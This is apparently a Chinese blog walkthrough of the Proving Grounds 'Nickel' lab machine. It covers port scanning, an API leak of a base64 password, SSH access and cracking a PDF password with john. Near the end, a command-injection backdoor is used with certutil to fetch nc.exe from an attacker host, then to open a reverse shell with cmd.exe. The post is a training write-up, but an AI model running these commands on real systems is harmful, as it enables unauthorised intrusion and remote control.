iT邦幫忙

2025 iThome 鐵人賽

DAY 12
0
Security

滲透探險 30 天:靶機挑戰記系列 第 12

PG Practice: Nickel 攻略

  • 分享至 

  • xImage
  •  

Recon

來看看靶機上有甚麼唷!
PS. 這邊所使用的列舉程式來自 https://github.com/21y4d/nmapAutomator ,這個腳本可以幫我們自動用不同的工具做資訊蒐集與掃描

sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.151.99 -type script;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.151.99 -type full;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.151.99 -type udp;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.151.99 -type recon;

https://ithelp.ithome.com.tw/upload/images/20250925/20178791FocMF5jFsZ.png
在 port 8089 上發現一個看起來給開發者使用的 dashboard. 試了一下上面的按鍵,發現導轉到 port 33333上面,Burp 上面的結果看起來也是這樣
https://ithelp.ithome.com.tw/upload/images/20250925/2017879145jIllDb2P.png
https://ithelp.ithome.com.tw/upload/images/20250925/20178791VSWt0EioNA.png
https://ithelp.ithome.com.tw/upload/images/20250925/20178791Tr7Ze1wJTa.png

查看 source code , 發現他的 IP 都蠻奇怪的
Google 說它叫做 APIPA,IP分配並非從 DHCP server 來,而且這樣的 IP 配置較常使用在一些 p2p的溝通
https://ithelp.ithome.com.tw/upload/images/20250925/20178791KX50aIc1z1.png
我們來戳戳看這個服務 看看有甚麼好了
首先 我們發現了用 GET不行
https://ithelp.ithome.com.tw/upload/images/20250925/20178791P0WKAG0P6u.png

那可以用 POST嗎? 由response 看來 還需要加上 content-length
https://ithelp.ithome.com.tw/upload/images/20250925/20178791SdK79mbijs.png
Content-Length 就隨便給吧 由回應看起來是有點意思
他吐了一個 username 跟他的 password

curl -X POST -i http://$tIP:33333/list-running-procs? -H "Content-Type: application/json" -H "Content-Length:100"

https://ithelp.ithome.com.tw/upload/images/20250925/201787918FIZxCQZjM.png
https://ithelp.ithome.com.tw/upload/images/20250925/20178791Vf0bUb6mL5.png

這 password 看起來很像 base64 encode 後的結果 先 decode 看看
然後我們就拿到了 ariah 的 password 了!

echo "Tm93aXNlU2xvb3BUaGVvcnkxMzkK" | base64 -d

https://ithelp.ithome.com.tw/upload/images/20250925/201787911uPZkKsGCL.png
https://ithelp.ithome.com.tw/upload/images/20250925/20178791KSoTpKy74b.png

Initial Access

用 ariah 與 他的 password 去登入系統 拿到 flag!

ssh ariah@$tIP

https://ithelp.ithome.com.tw/upload/images/20250925/20178791gs42vKhmUo.png
https://ithelp.ithome.com.tw/upload/images/20250925/20178791XdUUqKewr0.png

Privilege Escalation

當我們在挖掘這台主機的時候 發現了 FTP的服務
其實當初在掃 port 的時候 我們也有看到 但因為無法登入 所以只能先留在那
現在看起來 它裡面確實放有一些有用的資料
https://ithelp.ithome.com.tw/upload/images/20250925/20178791Vdkk7IfO6s.png

我們嘗試打開這個 PDF檔案 結果發現它要密碼

open infrastructure.pdf  

https://ithelp.ithome.com.tw/upload/images/20250925/20178791mOsTXERxsN.png

但是我們有 john 可以幫我們解開密碼

pdf2john infrastructure.pdf > pdf.hash
john --wordlist=/usr/share/wordlists/rockyou.txt pdf.hash 

https://ithelp.ithome.com.tw/upload/images/20250925/20178791Xn0eevwQmz.png

打開文件以後 我們發現這位 ariah4168 竟然留了一個後門可以做 command injection !
https://ithelp.ithome.com.tw/upload/images/20250925/20178791c1C1mx53YG.png

但我們需要先去 /etc/hosts 更新一下我們的 host IP
然後就可以正常使用這網站了
https://ithelp.ithome.com.tw/upload/images/20250925/20178791bMPZJXbTN6.png

利用它下載 NC.exe

http://nickel/?certutil -urlcache -f http://192.168.45.231:8000/nc.exe c:/windows/temp/nc.exe 

https://ithelp.ithome.com.tw/upload/images/20250925/20178791s1cgE8eDw0.png
讓他來bind kali 的 shell

http://nickel/?C:\Windows\Temp\nc.exe%20-nv%20192.168.45.231%20443%20-e%20cmd.exe 

https://ithelp.ithome.com.tw/upload/images/20250925/20178791r0AVvEOy3E.png
Flag Get!
https://ithelp.ithome.com.tw/upload/images/20250925/20178791G2F2N9DSK4.png


上一篇
PG Practice: Hawat 攻略
系列文
滲透探險 30 天:靶機挑戰記12
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言